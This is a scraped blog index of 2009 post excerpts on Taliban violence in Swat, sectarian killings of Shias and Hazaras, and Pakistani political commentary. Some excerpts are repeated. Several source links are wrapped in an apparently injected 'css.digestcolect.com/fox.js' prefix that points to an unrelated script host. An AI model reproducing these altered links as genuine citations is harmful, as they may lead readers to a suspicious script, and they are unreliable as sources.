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Taliban threaten attack on Islamabad: Analysis by Hamid Mir, Nazir Naji and Abbas Ather: Taliban threaten attack on Islamabad Wednesday, February 11, 2009 By Hamid Mir ISLAMABAD: The local Taliban leadership has decided to send its fighters to Islamabad as a reaction to the operations in Darra Adamkhel and Swat Valley and in
Taliban threaten attack on Islamabad: Analysis by Hamid Mir, Nazir Naji and Abbas Ather: Taliban threaten attack on Islamabad Wednesday, February 11, 2009 By Hamid Mir ISLAMABAD: The local Taliban leadership has decided to send its fighters to Islamabad as a reaction to the operations in Darra Adamkhel and Swat Valley and in
Forget Gaza, care about Swat: Thursday, February 12, 2009 By by Fasi Zaka I think it would be absolutely inhuman not to care about the massacre in Gaza, the flagrant violation and cruelty demonstrated by the Israelis. But after talking to an old friend
Meeting with a terrorist: Hamid Mir: Hamid Mir offers an account of his meeting with a terrorist operating in Swat: Here is a critical summary: 1. Not all of the terrorists belong to Swat; quite a few of them originate from Punjab.2. They are Pakistanis;
Protest in Britain and Australia: Stop target killing of Shia Hazaras by Taliban and ISI: Hazara’s London protest 2009 Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&hazaranewspakistan.wordpress.com February 08 — Hazara International Forum Great Britain (HIF-GB) held a protest demonstration in front of Pakistan High Commission in London against the consecutive target killing of Hazaras in Quetta Pakistan. The protersters
Protest in Britain and Australia: Stop target killing of Hazara community in Pakistan at the hands of Taliban and ISI: Hazara’s London protest 2009 Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&hazaranewspakistan.wordpress.com February 08 — Hazara International Forum Great Britain (HIF-GB) held a protest demonstration in front of Pakistan High Commission in London against the consecutive target killing of Hazaras in Quetta Pakistan. The protersters
Ansar Abbasi with his venom against Nawaz Sharif this time….: The main target of Ansar Abbasi seems to discredit the largest political parties in Pakistan through all possible means, fair or unfair, and pave way for the shariat of Amir-ul-Momineen Mullah Omar and his Naib Khalifah Baitullah
Poland cancels visit of Pakistan senators. Polish officials charged that elements within the Pakistani government shared blame for the killing.: Daily Express… Poland cancels visit of Pak senators * Offers $290,000 bounty for killers of Polish hostage WARSAW/ISLAMABAD: Poland’s Senate on Tuesday called off a visit by Pakistani senators after their country’s negotiators failed to save Polish hostage Piotr
Remembering General Zia-ul-Haq and Mian Jehangir Advocate: Do we have a single worker or leader like this one in the rank and file of PML-N, PML-Q, Jamaat Islami? A great op-ed by Tahir Sarwar Mir: President condoles death of Mian Jehangir Advocate ISLAMABAD, Feb 6(APP): President
In search of peace: From Middle East to South Asia – By Khurshid Nadeem: The need for intra-Islamic dialogue
Swat inferno and militant ideology – By Mushfiq Murshed: Swat inferno and militant ideology Wednesday, 11 Feb, 2009 By Mushfiq Murshed THE writ of the state in Swat has been demolished. When Operation Rah-i-Haq was launched by the Pakistan Army in 2007, the militants controlled only 25 per
Why then has the great ISI, the Mother of All Agencies, not been able to find Mullah Radio’s radio station? Asks Kamran Shafi: Swat, one more timeBy Kamran ShafiTuesday, 10 Feb, 2009 | 02:14 PM PST | ….And now for the feedback on last week’s piece in which I had suggested a huge caravan made up of all the political parties: leaders,
Ansar Abbasi: LHC judge accused of close links to underworld – Nanno Goraya’s statement? or Nawaz Sharif’s disqualification?: Investigative journalist or police tout? From Nanno Goraya to Ansar Abbasi LHC judge accused of close links to underworld?Tuesday, February 10, 2009 By Ansar Abbasi ISLAMABAD: A sitting senior judge of the Lahore High Court has been accused of
Ansar Abbasi: LHC judge accused of close links to underworld – Nanno Goraya’s statement? or Nawaz Sharif’s disqualification?: Investigative journalist or police tout? From Nanno Goraya to Ansar Abbasi LHC judge accused of close links to underworld?Tuesday, February 10, 2009 By Ansar Abbasi ISLAMABAD: A sitting senior judge of the Lahore High Court has been accused of
Saleem Safi: Confessions of an ex-Jihadi: Afghan Jihad, Taliban, ISI and Our Hypocrisy: Related post: Pakistani State’s ambivalent policies on Taliban – by Saleem Safi A must read article by Saleem Safi exposing the hypocritical and misleading notions of jihad and Islam concocted and used by the ISI, the so called Afghan
Hamid Gul is more of a political ideologue of terror rather than a physical supporter…: Mavericks, Machiavellis and miceTuesday, February 10, 2009Anjum Niaz General (r) Hamid Gul is another maverick gung-ho about Iftikhar Chaudhry’s restoration. But he also makes the peaceniks mad with his call for jihad and continues to spread his ‘poison’ against
Mr. Holbrooke, in order to understand the situation in Pakistan, you need to have a grip on the Mullah-Military Alliance in Swat….: A dangerous trend — Talimand Khan Why has the security apparatus failed to cut the militants’ supply lines; how come random journalists can talk to Fazlullah but security forces are unable to track him down; and if the state’s
From Children of Gaza to Children of FATA and Swat: Taliban shelling kills 11 school children in Darra Adam Khel: Taliban shelling kills 14 civilians in Darra * Eyewitness says mortar landed on school minutes after classes ended Staff Report PESHAWAR: Fourteen civilians, including 11 schoolchildren, and a soldier were killed in a mortar attack by the Taliban in
Nawaz Sharif, You need to clarify your position on Taliban and jihadis: Dear Nawaz Sharif, We know that once upon a time you wanted to be a constitutional Amir-ul-Momineen. We also know that you were in the past abetted and supported by Osama bin Laden. We also know that terrorists of
Nawaz Sharif, You need to clarify your position on Taliban and jihadis…: Dear Nawaz Sharif, We know that once upon a time you wanted to be a constitutional Amir-ul-Momineen. We also know that you were in the past abetted and supported by Osama bin Laden. We also know that terrorists of
Taliban claim responsibility for a suicide attack on a procession of Shia mourners in Dera Ghazi Khan.: A spokesman for the Taliban in Darra Adamkhel speaks to various media agencies: Taliban claim responsibility for a suicide attack on a procession of Shia mourners in D.G. Khan killing about 40 Shias. They also claim responsibility for an
Protest in Mardan against Taliban and the “Government”: Report by BBC Urdu dot com A grand protest against Taliban in civil dress (TTP) and Taliban in uniform (ISI) was organized by the Pakhtun Aman Jirgah in Mardan. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/02/090208_demo_against_taleban_nj.shtml Pakhtuns poised to act against Taliban Monday February 09,
President Zardari, please convince General Kayani that Taliban are no longer our natural allies; get rid of ‘strategic depth’ syndrome…: Reining in the militantsSunday, February 08, 2009 On his first visit to Peshawar since moving into the presidency, Asif Ali Zardari attended a series of detailed briefings at the Governor’s House and met with key provincial officials. At the
Diamer Dam and the rights of people of Gilgit-Baltistan – Irshad Ahmed Haqqani: Also read: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2008/11/diamer-bhasha-dam-controversy-rights-of.html
Pakistan: From 1971 to 2009; Some lessons for ISI, media, and oridnary public…: A page from history: How did Pakistan Army, dominated by the so called Islamic chauvinists from Punjab, treat their Bengali colleagues in 1971? And the people in Punjab remained unaware/insensitive to the plight of their Bengali brothers and sisters
Pakistan: From 1971 to 2009; Some lessons for ISI, media, and oridnary public…: A page from history: How did Pakistan Army, dominated by the so called Islamic chauvinists from Punjab, treat their Bengali colleagues in 1971? And the people in Punjab remained unaware/insensitive to the plight of their Bengali brothers and sisters
Ziaists in Pakistan: From long march to terrorism – some questions for Nawaz Sharif: There are two forms of Ziaists: (1) political Ziaists who keep conspiring against democracy on the pretext of one excuse or the other; (2) militant Ziaists who are represented in the shape of operatives and sympathizers of Taliban and
Ziaists in Pakistan: From long march to terrorism – some questions for Nawaz Sharif: There are two forms of Ziaists: (1) political Ziaists who keep conspiring against democracy on the pretext of one excuse or the other; (2) militant Ziaists who are represented in the shape of operatives and sympathizers of Taliban and
Lashkar-e-Jhangavi /Sipah-e-Sahaba involved in killing of Polish engineer in Pakistan: The following report suggests that the kidnapping and beheading of the Polish engineer was carried out by Lashkar-e-Jhangavi /Sipah-e-Sahaba, the local-sponsors of Al Qaeda and Taliban in Pakistan… Taliban Says It Killed a Polish Contractor in Pakistan By JANE
Lashkar-e-Jhangavi /Sipah-e-Sahaba involved in killing of Polish engineer in Pakistan: The following report suggests that the kidnapping and beheading of the Polish engineer was carried out by Lashkar-e-Jhangavi /Sipah-e-Sahaba, the local-sponsors of Al Qaeda and Taliban in Pakistan… Taliban Says It Killed a Polish Contractor in Pakistan By JANE
Poland says engineer held by Taliban believed dead; Taliban’s Sipah-e-Sahaba / Lashkar-e-Jhangavi wing involved…: There are confirmed reports that the Polish engineer kidnapped by the Taliban near the Pindi Sultani area of Attock on Sept 28 has been killed. His driver and two guards were shot dead at the time of his abduction.
Poland says engineer held by Taliban believed dead; Taliban’s Sipah-e-Sahaba / Lashkar-e-Jhangavi wing involved…: There are confirmed reports that the Polish engineer kidnapped by the Taliban near the Pindi Sultani area of Attock on Sept 28 has been killed. His driver and two guards were shot dead at the time of his abduction.
Understanding Pakistan’s Approach to the War on Terror: Although Pakistan has been a frontline state in the war on terror since the tragic events of September 11, 2001, there is no doubt that General Musharraf initially cast his lot with the United States mainly as a result
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Killing and ghettoization of Shias and the responsibility of the State: Return of sectarian war A suicide blast on the occasion of the “chehlum” of Imam Hussain has killed 32 innocent Shia Muslims in Dera Ghazi Khan in Punjab, hours after someone killed a Sunni in the neighbouring NWFP district
Ansar Abbasi admits that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption: Ansar Abbasi admis that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption. He complains that PML-N, PPP, PML-Q, MQM, Jamaat Islami, Tehreek Insaf etc remained silent on that case. Related post: Ansar Abbasi was the
Ansar Abbasi admits that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption…: Ansar Abbasi admis that in Dr. Arsalan’s case, Chief Justice Iftikhar Chaudhry was involved in corruption…. He complains that PML-N, PPP, PML-Q, MQM, Jamaat Islami, Tehreek Insaf etc remained silent on that case.
Pakistan cannot restore peace in Swat and FATA unless it hits the current leadership of (Pakistani) Taliban –: Muhammad Amir Khakwani, Express.
Dialogue with Taliban not an option – Farhat Taj: Dialogue with Taliban not an option Friday, February 06, 2009by Farhat Taj I wanted a reply to my email from Masooda Bano to have a better idea of her argument for dialogue with Taliban. She provided the idea through
Can an honourable Pakhtun do that? Imran Khan, better answer.: Militants kill three women in Swat By Our Correspondent MINGORA: Three women were killed in Swat on Thursday as Taliban continued their attack on people they consider to be pro-government. The militants also blew up two government schools. The